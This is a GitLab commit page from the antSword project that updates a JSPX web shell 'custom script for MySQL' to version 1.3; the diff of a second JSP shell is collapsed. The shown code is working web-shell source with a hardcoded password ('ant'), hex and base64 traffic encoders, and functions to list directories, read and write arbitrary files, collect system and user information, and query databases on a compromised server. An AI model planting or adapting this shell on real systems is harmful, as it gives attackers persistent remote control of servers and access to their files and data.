Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
6ad3731f
Commit
6ad3731f
authored
Aug 09, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
update jsp jspx shell to v1.3
parent
85ac784a
Changes
2
Expand all
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
185 additions
and
81 deletions
+185
-81
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+96
-42
jspx_custom_script_for_mysql.jspx
shells/jspx_custom_script_for_mysql.jspx
+89
-39
No files found.
shells/jsp_custom_script_for_mysql.jsp
View file @
6ad3731f
This diff is collapsed.
Click to expand it.
shells/jspx_custom_script_for_mysql.jspx
View file @
6ad3731f
...
...
@@ -21,6 +21,7 @@
注意:以上是两行
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
Ver:1.3
-->
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
...
...
@@ -31,15 +32,18 @@
<jsp:directive.page import="java.text.*"/>
<jsp:declaration>
<![CDATA[
// ################################################
String Pwd = "ant"; //连接密码
// 数据编码 3 选 1
String encoder = ""; // default
// String encoder = "base64"; //base64
// String encoder = "hex"; //hex
String cs = "UTF-8"; // 脚本自身编码
// String encoder = "hex"; //hex(推荐)
String cs = "UTF-8"; // 编码方式
// ################################################
String EC(String s) throws Exception {
if(encoder.equals("hex") || encoder == "hex") return s;
return new String(s.getBytes(
"ISO-8859-1"
), cs);
return new String(s.getBytes(), cs);
}
String showDatabases(String encode, String conn) throws Exception {
...
...
@@ -100,7 +104,7 @@
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String d =
r.getSession().getServletContext().getRealPath("/"
);
String d =
this.getClass().getResource("/").getPath(
);
String s = "";
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
...
...
@@ -117,24 +121,27 @@
File oF = new File(dirPath), l[] = oF.listFiles();
String s = "", sT, sQ, sF = "";
java.util.Date dt;
String fileCode=(String)System.getProperties().get("file.encoding");
SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for (int i = 0; i < l.length; i++) {
dt = new java.util.Date(l[i].lastModified());
sT = fm.format(dt);
sQ = l[i].canRead() ? "R" : "";
sQ += l[i].canWrite() ? " W" : "";
String nm = new String(l[i].getName().getBytes(fileCode), cs);
if (l[i].isDirectory()) {
s +=
l[i].getName()
+ "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
s +=
nm
+ "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
} else {
sF +=
l[i].getName()
+ "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
sF +=
nm
+ "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n";
}
}
return s += sF;
s += sF;
return new String(s.getBytes(fileCode), cs);
}
String ReadFileCode(String filePath) throws Exception {
String l = "", s = "";
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))));
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath))
, cs
));
while ((l = br.readLine()) != null) {
s += l + "\r\n";
}
...
...
@@ -143,9 +150,14 @@
}
String WriteFileCode(String filePath, String fileContext) throws Exception {
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath))));
bw.write(fileContext);
bw.close();
String h = "0123456789ABCDEF";
String fileHexContext = strtohexstr(fileContext);
File f = new File(filePath);
FileOutputStream os = new FileOutputStream(f);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
os.close();
return "1";
}
...
...
@@ -251,16 +263,27 @@
}
String SysInfoCode(HttpServletRequest r) throws Exception {
String d = r.getSession().getServletContext().getRealPath("/");
String serverInfo = System.getProperty("os.name");
String d = "";
try {
if(r.getSession().getServletContext().getRealPath("/") != null){
d = r.getSession().getServletContext().getRealPath("/");
}else{
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
} catch (Exception e) {
String cd = this.getClass().getResource("/").getPath();
d = new File(cd).getParent();
}
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String user = System.getProperty("user.name");
String user =
(String)
System.getProperty("user.name");
String driverlist = WwwRootPathCode(r);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
boolean isWin() {
String osname = System.getProperty("os.name");
String osname =
(String)
System.getProperty("os.name");
osname = osname.toLowerCase();
if (osname.startsWith("win"))
return true;
...
...
@@ -276,6 +299,41 @@
return sb.toString();
}
String getEncoding(String str) {
String encode[] = new String[]{
"UTF-8",
"ISO-8859-1",
"GB2312",
"GBK",
"GB18030",
"Big5",
"Unicode",
"ASCII"
};
for (int i = 0; i < encode.length; i++){
try {
if (str.equals(new String(str.getBytes(encode[i]), encode[i]))) {
return encode[i];
}
} catch (Exception ex) {
}
}
return "";
}
String strtohexstr(String fileContext)throws Exception{
String h = "0123456789ABCDEF";
byte[] bytes = fileContext.getBytes(cs);
StringBuilder sb = new StringBuilder(bytes.length * 2);
for (int i = 0; i < bytes.length; i++) {
sb.append(h.charAt((bytes[i] & 0xf0) >> 4));
sb.append(h.charAt((bytes[i] & 0x0f) >> 0));
}
String fileHexContext = sb.toString();
return fileHexContext;
}
String decode(String str) {
byte[] bt = null;
try {
...
...
@@ -286,40 +344,32 @@
}
return new String(bt);
}
String decode(String str, String encode){
String decode(String str, String encode)
throws Exception
{
if(encode.equals("hex") || encode=="hex"){
if(str=="null"||str.equals("null")){
return "";
}
StringBuilder sb = new StringBuilder();
StringBuilder temp = new StringBuilder();
try{
for(int i=0; i<str.length()-1; i+=2 ){
String output = str.substring(i, (i + 2));
int decimal = Integer.parseInt(output, 16);
sb.append((char)decimal);
temp.append(decimal);
String hexString = "0123456789ABCDEF";
str = str.toUpperCase();
ByteArrayOutputStream baos = new ByteArrayOutputStream(str.length()/2);
String ss = "";
for (int i = 0; i < str.length(); i += 2){
ss = ss + (hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))) + ",";
baos.write((hexString.indexOf(str.charAt(i)) << 4 | hexString.indexOf(str.charAt(i + 1))));
}
}catch(Exception e){
e.printStackTrace();
}
return sb.toString();
return baos.toString(cs);
}else if(encode.equals("base64") || encode == "base64"){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
bt = decoder.decodeBuffer(str);
} catch (IOException e) {
e.printStackTrace();
}
return new String(bt);
return new String(bt,cs);
}
return str;
}
void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
String l;
BufferedReader br = new BufferedReader(new InputStreamReader(is));
BufferedReader br = new BufferedReader(new InputStreamReader(is
, cs
));
while ((l = br.readLine()) != null) {
sb.append(l + "\r\n");
}
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment